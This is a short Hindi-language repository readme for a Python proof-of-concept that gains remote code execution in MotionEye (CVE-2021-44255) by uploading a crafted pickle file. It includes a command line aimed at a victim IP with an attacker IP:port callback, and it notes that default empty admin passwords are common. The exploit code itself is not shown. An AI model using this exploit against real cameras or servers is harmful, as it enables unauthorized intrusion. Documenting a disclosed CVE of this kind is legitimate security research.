pizza-power/motioneye-authenticated-rceएक Python 3 स्क्रिप्ट जो एक tasks.pickle फ़ाइल अपलोड करती है जो MotionEye में RCE सक्षम करती है। CVE-2021-44255
एक Python 3 स्क्रिप्ट जो एक tasks.pickle फ़ाइल अपलोड करती है जो MotionEye में RCE सक्षम करती है। आपको व्यवस्थापक क्रेडेंशियल्स की आवश्यकता है, इसलिए यह कोई बड़ी बात नहीं होनी चाहिए। दुर्भाग्यवश, MotionEye/MotionEyeOS अक्सर डिफ़ॉल्ट क्रेडेंशियल्स के साथ चलता पाया जा सकता है।
उदाहरण:
main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444
जहाँ victim और attacker ip:port के रूप में हैं, जब तक कि पोर्ट 80 न हो। तब, पोर्ट को बाहर रखा जा सकता है। यह एक खाली पासवर्ड के साथ admin के डिफ़ॉल्ट उपयोगकर्ता नाम का उपयोग करता है। वैकल्पिक उपयोगकर्ता नाम/पासवर्ड के लिए CLI विकल्प भी हैं। अधिक विवरण के लिए कृपया कोड देखें।
CVE-2021-44255
इस और अन्य मुद्दों पर एक लेख के लिए https://www.pizzapower.me/2021/10/09/self-hosted-security-part-1-motioneye देखें।
